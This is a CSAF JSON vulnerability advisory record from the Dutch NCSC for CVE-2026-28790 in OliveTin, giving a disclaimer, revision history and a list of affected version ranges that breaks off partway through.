{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2026-28790", "tracking": { "current_release_date": "2026-04-01T18:48:20.167333Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2026-28790", "initial_release_date": "2026-03-04T02:39:44.379230Z", "revision_history": [ { "date": "2026-03-04T02:39:44.379230Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-04T02:39:47.685632Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-03-04T18:12:45.785625Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)." }, { "date": "2026-03-04T18:12:52.549664Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-03-05T20:38:49.079181Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)." }, { "date": "2026-03-05T20:38:52.098056Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-03-05T20:47:30.062617Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)." }, { "date": "2026-03-05T20:47:35.067822Z", "number": "8", "summary": "NCSC Score updated." }, { "date": "2026-03-05T23:39:35.917002Z", "number": "9", "summary": "References created (2)." }, { "date": "2026-03-06T00:12:45.667767Z", "number": "10", "summary": "References created (2)." }, { "date": "2026-03-06T14:52:33.998235Z", "number": "11", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-06T18:39:02.685488Z", "number": "12", "summary": "Unknown change." }, { "date": "2026-03-10T16:25:10.568317Z", "number": "13", "summary": "Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-03-10T16:25:17.690986Z", "number": "14", "summary": "NCSC Score updated." }, { "date": "2026-03-20T09:36:04.078286Z", "number": "15", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-20T09:36:07.638099Z", "number": "16", "summary": "NCSC Score updated." }, { "date": "2026-03-25T18:14:55.621963Z", "number": "17", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)." }, { "date": "2026-03-25T18:15:00.265237Z", "number": "18", "summary": "NCSC Score updated." }, { "date": "2026-03-27T08:07:23.619642Z", "number": "19", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (252).| References created (5).| CWES updated (1)." }, { "date": "2026-03-27T08:07:48.893939Z", "number": "20", "summary": "NCSC Score updated." }, { "date": "2026-03-30T04:27:31.044789Z", "number": "21", "summary": "NCSC Score updated." }, { "date": "2026-04-01T18:47:49.519917Z", "number": "22", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (6).| CWES updated (1)." }, { "date": "2026-04-01T18:47:56.336379Z", "number": "23", "summary": "NCSC Score updated." } ], "status": "interim", "version": "23" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2021-05-19.28", "product": { "name": "vers:unknown/2021-05-19.28", "product_id": "CSAFPID-5909032" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-24.f44", "product": { "name": "vers:unknown/2021-05-24.f44", "product_id": "CSAFPID-5909033" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-25", "product": { "name": "vers:unknown/2021-05-25", "product_id": "CSAFPID-5909034" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-28", "product": { "name": "vers:unknown/2021-05-28", "product_id": "CSAFPID-5909035" } }, { "category": "product_version_range", "name": "vers:unknown/2021-07-16", "product": { "name": "vers:unknown/2021-07-16", "product_id": "CSAFPID-5909036" } }, { "category": "product_version_range", "name": "vers:unknown/2021-07-19", "product": { "name": "vers:unknown/2021-07-19", "product_id": "CSAFPID-5909037" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-02.alpha1-task-arguments", "product": { "name": "vers:unknown/2021-11-02.alpha1-task-arguments", "product_id": "CSAFPID-5909038" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-17", "product": { "name": "vers:unknown/2021-11-17", "product_id": "CSAFPID-5909039" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-17-2", "product": { "name": "vers:unknown/2021-11-17-2", "product_id": "CSAFPID-5909040" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-19", "product": { "name": "vers:unknown/2021-11-19", "product_id": "CSAFPID-5909041" } }, { "category": "product_version_range", "name": "vers:unknown/2022-01-06", "product": { "name": "vers:unknown/2022-01-06", "product_id": "CSAFPID-5909042" } }, { "category": "product_version_range", "name": "vers:unknown/2022-04-07", "product": { "name": "vers:unknown/2022-04-07", "product_id": "CSAFPID-5909043" } }, { "category": "product_version_range", "name": "vers:unknown/2022-10-19", "product": { "name": "vers:unknown/2022-10-19", "product_id": "CSAFPID-5909044" } }, { "category": "product_version_range", "name": "vers:unknown/2022.11.11", "product": { "name": "vers:unknown/2022.11.11", "product_id": "CSAFPID-5909045" } }, { "category": "product_version_range", "name": "vers:unknown/2022.11.14", "product": { "name": "vers:unknown/2022.11.14", "product_id": "CSAFPID-5909046" } }, { "category": "product_version_range", "name": "vers:unknown/2023.02.16", "product": { "name": "vers:unknown/2023.02.16", "product_id": "CSAFPID-5909047" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.22", "product": { "name": "vers:unknown/2023.03.22", "product_id": "CSAFPID-5909048" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24", "product": { "name": "vers:unknown/2023.03.24", "product_id": "CSAFPID-5909049" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-2", "product": { "name": "vers:unknown/2023.03.24-2", "product_id": "CSAFPID-5909050" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-3", "product": { "name": "vers:unknown/2023.03.24-3", "product_id": "CSAFPID-5909051" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-4", "product": { "name": "vers:unknown/2023.03.24-4", "product_id": "CSAFPID-5909052" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.25", "product": { "name": "vers:unknown/2023.03.25", "product_id": "CSAFPID-5909053" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.09", "product": { "name": "vers:unknown/2023.10.09", "product_id": "CSAFPID-5909054" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.12", "product": { "name": "vers:unknown/2023.10.12", "product_id": "CSAFPID-5909055" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.24", "product": { "name": "vers:unknown/2023.10.24", "product_id": "CSAFPID-5909056" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.25", "product": { "name": "vers:unknown/2023.10.25", "product_id": "CSAFPID-5909057" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.1", "product": { "name": "vers:unknown/2023.12.1", "product_id": "CSAFPID-5909058" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.17", "product": { "name": "vers:unknown/2023.12.17", "product_id": "CSAFPID-5909059" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.20", "product": { "name": "vers:unknown/2023.12.20", "product_id": "CSAFPID-5909060" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.21", "product": { "name": "vers:unknown/2023.12.21", "product_id": "CSAFPID-5909061" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.01", "product": { "name": "vers:unknown/2024.02.01", "product_id": "CSAFPID-5909062" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.27", "product": { "name": "vers:unknown/2024.02.27", "product_id": "CSAFPID-5909063" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.28", "product": { "name": "vers:unknown/2024.02.28", "product_id": "CSAFPID-5909064" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.01", "product": { "name": "vers:unknown/2024.03.01", "product_id": "CSAFPID-5909065" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.05", "product": { "name": "vers:unknown/2024.03.05", "product_id": "CSAFPID-5909066" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.06", "product": { "name": "vers:unknown/2024.03.06", "product_id": "CSAFPID-5909067" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.08", "product": { "name": "vers:unknown/2024.03.08", "product_id": "CSAFPID-5909068" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.081", "product": { "name": "vers:unknown/2024.03.081", "product_id": "CSAFPID-5909069" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.24", "product": { "name": "vers:unknown/2024.03.24", "product_id": "CSAFPID-5909070" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.021", "product": { "name": "vers:unknown/2024.04.021", "product_id": "CSAFPID-5909071" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.09", "product": { "name": "vers:unknown/2024.04.09", "product_id": "CSAFPID-5909072" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.11", "product": { "name": "vers:unknown/2024.04.11", "product_id": "CSAFPID-5909073" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.14", "product": { "name": "vers:unknown/2024.04.14", "product_id": "CSAFPID-5909074" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.18", "product": { "name": "vers:unknown/2024.04.18", "product_id": "CSAFPID-5909075" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.20", "product": { "name": "vers:unknown/2024.04.20", "product_id": "CSAFPID-5909076" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.26", "product": { "name": "vers:unknown/2024.04.26", "product_id": "CSAFPID-5909077" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.261", "product": { "name": "vers:unknown/2024.04.261", "product_id": "CSAFPID-5909078" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.28", "product": { "name": "vers:unknown/2024.04.28", "product_id": "CSAFPID-5909079" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.13", "product": { "name": "vers:unknown/2024.05.13", "product_id": "CSAFPID-5909080" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.24", "product": { "name": "vers:unknown/2024.05.24", "product_id": "CSAFPID-5909081" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.27", "product": { "name": "vers:unknown/2024.05.27", "product_id": "CSAFPID-5909082" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.31", "product": { "name": "vers:unknown/2024.05.31", "product_id": "CSAFPID-5909083" } }, { "category": "product_version_range", "name": "vers:unknown/2024.05.51", "product": { "name": "vers:unknown/2024.05.51", "product_id": "CSAFPID-5909084" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.01", "product": { "name": "vers:unknown/2024.06.01", "product_id": "CSAFPID-5909085" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.02", "product": { "name": "vers:unknown/2024.06.02", "product_id": "CSAFPID-5909086" } }, { "category": "product_version_range", "name": "vers:unknown/2024.06.04", "product": { "name": "vers:unknown/2024.06.04", "product_id": "CSAFPID-5909087" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.03", "product": { "name": "vers:unknown/2024.07.03", "product_id": "CSAFPID-5909088" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.06", "product": { "name": "vers:unknown/2024.07.06", "product_id": "CSAFPID-5909089" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.07", "product": { "name": "vers:unknown/2024.07.07", "product_id": "CSAFPID-5909090" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.13", "product": { "name": "vers:unknown/2024.07.13", "product_id": "CSAFPID-5909091" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.15", "product": { "name": "vers:unknown/2024.07.15", "product_id": "CSAFPID-5909092" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.152", "product": { "name": "vers:unknown/2024.07.152", "product_id": "CSAFPID-5909093" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.153", "product": { "name": "vers:unknown/2024.07.153", "product_id": "CSAFPID-5909094" } }, { "category": "product_version_range", "name": "vers:unknown/2024.07.16", "product": { "name": "vers:unknown/2024.07.16", "product_id": "CSAFPID-5909095" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.14", "product": { "name": "vers:unknown/2024.08.14", "product_id": "CSAFPID-5909096" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.25", "product": { "name": "vers:unknown/2024.08.25", "product_id": "CSAFPID-5909097" } }, { "category": "product_version_range", "name": "vers:unknown/2024.08.31", "product": { "name": "vers:unknown/2024.08.31", "product_id": "CSAFPID-5909098" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.02", "product": { "name": "vers:unknown/2024.09.02", "product_id": "CSAFPID-5909099" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.10", "product": { "name": "vers:unknown/2024.09.10", "product_id": "CSAFPID-5909100" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.11", "product": { "name": "vers:unknown/2024.09.11", "product_id": "CSAFPID-5909101" } }, { "category": "product_version_range", "name": "vers:unknown/2024.09.16", "product": { "name": "vers:unknown/2024.09.16", "product_id": "CSAFPID-5909102" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.01", "product": { "name": "vers:unknown/2024.10.01", "product_id": "CSAFPID-5909103" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.02", "product": { "name": "vers:unknown/2024.10.02", "product_id": "CSAFPID-5909104" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.14", "product": { "name": "vers:unknown/2024.10.14", "product_id": "CSAFPID-5909105" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.17", "product": { "name": "vers:unknown/2024.10.17", "product_id": "CSAFPID-5909106" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.18", "product": { "name": "vers:unknown/2024.10.18", "product_id": "CSAFPID-5909107" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.26", "product": { "name": "vers:unknown/2024.10.26", "product_id": "CSAFPID-5909108" } }, { "category": "product_version_range", "name": "vers:unknown/2024.10.27", "product": { "name": "vers:unknown/2024.10.27", "product_id": "CSAFPID-5909109" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.02", "product": { "name": "vers:unknown/2024.11.02", "product_id": "CSAFPID-5909110" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.09", "product": { "name": "vers:unknown/2024.11.09", "product_id": "CSAFPID-5909111" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.18", "product": { "name": "vers:unknown/2024.11.18", "product_id": "CSAFPID-5909112" } }, { "category": "product_version_range", "name": "vers:unknown/2024.11.24", "product": { "name": "vers:unknown/2024.11.24", "product_id": "CSAFPID-5909113" } }, { "category": "product_version_range", "name": "vers:unknown/2024.12.11", "product": { "name": "vers:unknown/2024.12.11", "product_id": "CSAFPID-5909114" } }, { "category": "product_version_range", "name": "vers:unknown/2025.2.19", "product": { "name": "vers:unknown/2025.2.19", "product_id": "CSAFPID-5909115" } }, { "category": "product_version_range", "name": "vers:unknown/2025.2.21", "product": { "name": "vers:unknown/2025.2.21", "product_id": "CSAFPID-5909116" } }, { "category": "product_version_range", "name": "vers:unknown/2025.3.23", "product": { "name": "vers:unknown/2025.3.23", "product_id": "CSAFPID-5909117" } }, { "category": "product_version_range", "name": "vers:unknown/2025.3.28", "product": { "name": "vers:unknown/2025.3.28", "product_id": "CSAFPID-5909118" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.14", "product": { "name": "vers:unknown/2025.4.14", "product_id": "CSAFPID-5909119" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.21", "product": { "name": "vers:unknown/2025.4.21", "product_id": "CSAFPID-5909120" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.22", "product": { "name": "vers:unknown/2025.4.22", "product_id": "CSAFPID-5909121" } }, { "category": "product_version_range", "name": "vers:unknown/2025.4.8", "product": { "name": "vers:unknown/2025.4.8", "product_id": "CSAFPID-5909122" } }, { "category": "product_version_range", "name": "vers:unknown/2025.5.26", "product": { "name": "vers:unknown/2025.5.26", "product_id": "CSAFPID-5909123" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.1", "product": { "name": "vers:unknown/2025.6.1", "product_id": "CSAFPID-5909124" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.22", "product": { "name": "vers:unknown/2025.6.22", "product_id": "CSAFPID-5909125" } }, { "category": "product_version_range", "name": "vers:unknown/2025.6.6", "product": { "name": "vers:unknown/2025.6.6", "product_id": "CSAFPID-5909126" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.13", "product": { "name": "vers:unknown/2025.7.13", "product_id": "CSAFPID-5909127" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.19", "product": { "name": "vers:unknown/2025.7.19", "product_id": "CSAFPID-5909128" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.28", "product": { "name": "vers:unknown/2025.7.28", "product_id": "CSAFPID-5909129" } }, { "category": "product_version_range", "name": "vers:unknown/2025.7.29", "product": { "name": "vers:unknown/2025.7.29", "product_id": "CSAFPID-5909130" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.0", "product": { "name": "vers:unknown/3000.0.0", "product_id": "CSAFPID-5909131" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.1", "product": { "name": "vers:unknown/3000.0.1", "product_id": "CSAFPID-5909132" } }, { "category": "product_version_range", "name": "vers:unknown/3000.0.2", "product": { "name": "vers:unknown/3000.0.2", "product_id": "CSAFPID-5909133" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.0", "product": { "name": "vers:unknown/3000.1.0", "product_id": "CSAFPID-5909134" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.1", "product": { "name": "vers:unknown/3000.1.1", "product_id": "CSAFPID-5909135" } }, { "category": "product_version_range", "name": "vers:unknown/3000.1.2", "product": { "name": "vers:unknown/3000.1.2", "product_id": "CSAFPID-5909136" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.0", "product": { "name": "vers:unknown/3000.10.0", "product_id": "CSAFPID-5701417" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.1", "product": { "name": "vers:unknown/3000.10.1", "product_id": "CSAFPID-5909137" } }, { "category": "product_version_range", "name": "vers:unknown/3000.10.2", "product": { "name": "vers:unknown/3000.10.2", "product_id": "CSAFPID-5909138" } }, { "category": "product_version_range", "name": "vers:unknown/3000.2.0", "product": { "name": "vers:unknown/3000.2.0", "product_id": "CSAFPID-5909139" } }, { "category": "product_version_range", "name": "vers:unknown/3000.2.1", "product": { "name": "vers:unknown/3000.2.1", "product_id": "CSAFPID-5909140" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.0", "product": { "name": "vers:unknown/3000.3.0", "product_id": "CSAFPID-5909141" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.1", "product": { "name": "vers:unknown/3000.3.1", "product_id": "CSAFPID-5909142" } }, { "category": "product_version_range", "name": "vers:unknown/3000.3.2", "product": { "name": "vers:unknown/3000.3.2", "product_id": "CSAFPID-5909143" } }, { "category": "product_version_range", "name": "vers:unknown/3000.4.0", "product": { "name": "vers:unknown/3000.4.0", "product_id": "CSAFPID-5909144" } }, { "category": "product_version_range", "name": "vers:unknown/3000.5.0", "product": { "name": "vers:unknown/3000.5.0", "product_id": "CSAFPID-5909145" } }, { "category": "product_version_range", "name": "vers:unknown/3000.6.0", "product": { "name": "vers:unknown/3000.6.0", "product_id": "CSAFPID-5909146" } }, { "category": "product_version_range", "name": "vers:unknown/3000.7.0", "product": { "name": "vers:unknown/3000.7.0", "product_id": "CSAFPID-5909147" } }, { "category": "product_version_range", "name": "vers:unknown/3000.8.0", "product": { "name": "vers:unknown/3000.8.0", "product_id": "CSAFPID-5909148" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0", "product": { "name": "vers:unknown/3000.9.0", "product_id": "CSAFPID-5909149" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.1", "product": { "name": "vers:unknown/3000.9.0-beta.1", "product_id": "CSAFPID-5909150" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.2", "product": { "name": "vers:unknown/3000.9.0-beta.2", "product_id": "CSAFPID-5909151" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.0-beta.3", "product": { "name": "vers:unknown/3000.9.0-beta.3", "product_id": "CSAFPID-5909152" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.1", "product": { "name": "vers:unknown/3000.9.1", "product_id": "CSAFPID-5909153" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.2", "product": { "name": "vers:unknown/3000.9.2", "product_id": "CSAFPID-5909154" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.3", "product": { "name": "vers:unknown/3000.9.3", "product_id": "CSAFPID-5909155" } }, { "category": "product_version_range", "name": "vers:unknown/3000.9.4", "product": { "name": "vers:unknown/3000.9.4", "product_id": "CSAFPID-5909156" } }, { "category": "product_version_range", "name": "vers:unknown/<3000.11.0", "product": { "name": "vers:unknown/<3000.11.0", "product_id": "CSAFPID-5763843" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.0.0-20260302002902-d9804182eae4", "product": { "name": "vers:unknown/>=0|<0.0.0-20260302002902-d9804182eae4", "product_id": "CSAFPID-5758948" } } ], "category": "product_name", "name": "OliveTin" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0-20260302002902-d9804182eae4", "product": { "name": "vers:unknown/0.0.0-20260302002902-d9804182eae4", "product_id": "CSAFPID-5982403" } }, { "category": "product_version_range", "name": "vers:unknown/<0.0.0-20260302002902-d9804182eae4", "product": { "name": "vers:unknown/<0.0.0-20260302002902-d9804182eae4", "product_id": "CSAFPID-5982404" } } ], "category": "product_name", "name": "go/github.com/OliveTin/OliveTin" } ], "category": "vendor", "name": "OliveTin" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/2021-05-19.28", "product": { "name": "vers:unknown/2021-05-19.28", "product_id": "CSAFPID-5118474" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-24.f44", "product": { "name": "vers:unknown/2021-05-24.f44", "product_id": "CSAFPID-5118475" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-25", "product": { "name": "vers:unknown/2021-05-25", "product_id": "CSAFPID-5118476" } }, { "category": "product_version_range", "name": "vers:unknown/2021-05-28", "product": { "name": "vers:unknown/2021-05-28", "product_id": "CSAFPID-5118477" } }, { "category": "product_version_range", "name": "vers:unknown/2021-07-16", "product": { "name": "vers:unknown/2021-07-16", "product_id": "CSAFPID-5118478" } }, { "category": "product_version_range", "name": "vers:unknown/2021-07-19", "product": { "name": "vers:unknown/2021-07-19", "product_id": "CSAFPID-5118479" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-02.alpha1-task-arguments", "product": { "name": "vers:unknown/2021-11-02.alpha1-task-arguments", "product_id": "CSAFPID-5118480" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-17", "product": { "name": "vers:unknown/2021-11-17", "product_id": "CSAFPID-5118481" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-17-2", "product": { "name": "vers:unknown/2021-11-17-2", "product_id": "CSAFPID-5118482" } }, { "category": "product_version_range", "name": "vers:unknown/2021-11-19", "product": { "name": "vers:unknown/2021-11-19", "product_id": "CSAFPID-5118483" } }, { "category": "product_version_range", "name": "vers:unknown/2022-01-06", "product": { "name": "vers:unknown/2022-01-06", "product_id": "CSAFPID-5118484" } }, { "category": "product_version_range", "name": "vers:unknown/2022-04-07", "product": { "name": "vers:unknown/2022-04-07", "product_id": "CSAFPID-5118485" } }, { "category": "product_version_range", "name": "vers:unknown/2022-10-19", "product": { "name": "vers:unknown/2022-10-19", "product_id": "CSAFPID-5118486" } }, { "category": "product_version_range", "name": "vers:unknown/2022.11.11", "product": { "name": "vers:unknown/2022.11.11", "product_id": "CSAFPID-5118487" } }, { "category": "product_version_range", "name": "vers:unknown/2022.11.14", "product": { "name": "vers:unknown/2022.11.14", "product_id": "CSAFPID-5118488" } }, { "category": "product_version_range", "name": "vers:unknown/2023.02.16", "product": { "name": "vers:unknown/2023.02.16", "product_id": "CSAFPID-5118489" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.22", "product": { "name": "vers:unknown/2023.03.22", "product_id": "CSAFPID-5118490" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24", "product": { "name": "vers:unknown/2023.03.24", "product_id": "CSAFPID-5118491" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-2", "product": { "name": "vers:unknown/2023.03.24-2", "product_id": "CSAFPID-5118492" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-3", "product": { "name": "vers:unknown/2023.03.24-3", "product_id": "CSAFPID-5118493" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.24-4", "product": { "name": "vers:unknown/2023.03.24-4", "product_id": "CSAFPID-5118494" } }, { "category": "product_version_range", "name": "vers:unknown/2023.03.25", "product": { "name": "vers:unknown/2023.03.25", "product_id": "CSAFPID-5118495" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.09", "product": { "name": "vers:unknown/2023.10.09", "product_id": "CSAFPID-5118496" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.12", "product": { "name": "vers:unknown/2023.10.12", "product_id": "CSAFPID-5118497" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.24", "product": { "name": "vers:unknown/2023.10.24", "product_id": "CSAFPID-5118498" } }, { "category": "product_version_range", "name": "vers:unknown/2023.10.25", "product": { "name": "vers:unknown/2023.10.25", "product_id": "CSAFPID-5118499" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.1", "product": { "name": "vers:unknown/2023.12.1", "product_id": "CSAFPID-5118500" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.17", "product": { "name": "vers:unknown/2023.12.17", "product_id": "CSAFPID-5118501" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.20", "product": { "name": "vers:unknown/2023.12.20", "product_id": "CSAFPID-5118502" } }, { "category": "product_version_range", "name": "vers:unknown/2023.12.21", "product": { "name": "vers:unknown/2023.12.21", "product_id": "CSAFPID-5118503" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.01", "product": { "name": "vers:unknown/2024.02.01", "product_id": "CSAFPID-5118504" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.27", "product": { "name": "vers:unknown/2024.02.27", "product_id": "CSAFPID-5118505" } }, { "category": "product_version_range", "name": "vers:unknown/2024.02.28", "product": { "name": "vers:unknown/2024.02.28", "product_id": "CSAFPID-5118506" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.01", "product": { "name": "vers:unknown/2024.03.01", "product_id": "CSAFPID-5118507" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.05", "product": { "name": "vers:unknown/2024.03.05", "product_id": "CSAFPID-5118508" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.06", "product": { "name": "vers:unknown/2024.03.06", "product_id": "CSAFPID-5118509" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.08", "product": { "name": "vers:unknown/2024.03.08", "product_id": "CSAFPID-5118510" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.081", "product": { "name": "vers:unknown/2024.03.081", "product_id": "CSAFPID-5118511" } }, { "category": "product_version_range", "name": "vers:unknown/2024.03.24", "product": { "name": "vers:unknown/2024.03.24", "product_id": "CSAFPID-5118512" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.021", "product": { "name": "vers:unknown/2024.04.021", "product_id": "CSAFPID-5118513" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.09", "product": { "name": "vers:unknown/2024.04.09", "product_id": "CSAFPID-5118514" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.11", "product": { "name": "vers:unknown/2024.04.11", "product_id": "CSAFPID-5118515" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.14", "product": { "name": "vers:unknown/2024.04.14", "product_id": "CSAFPID-5118516" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.18", "product": { "name": "vers:unknown/2024.04.18", "product_id": "CSAFPID-5118517" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.20", "product": { "name": "vers:unknown/2024.04.20", "product_id": "CSAFPID-5118518" } }, { "category": "product_version_range", "name": "vers:unknown/2024.04.26", 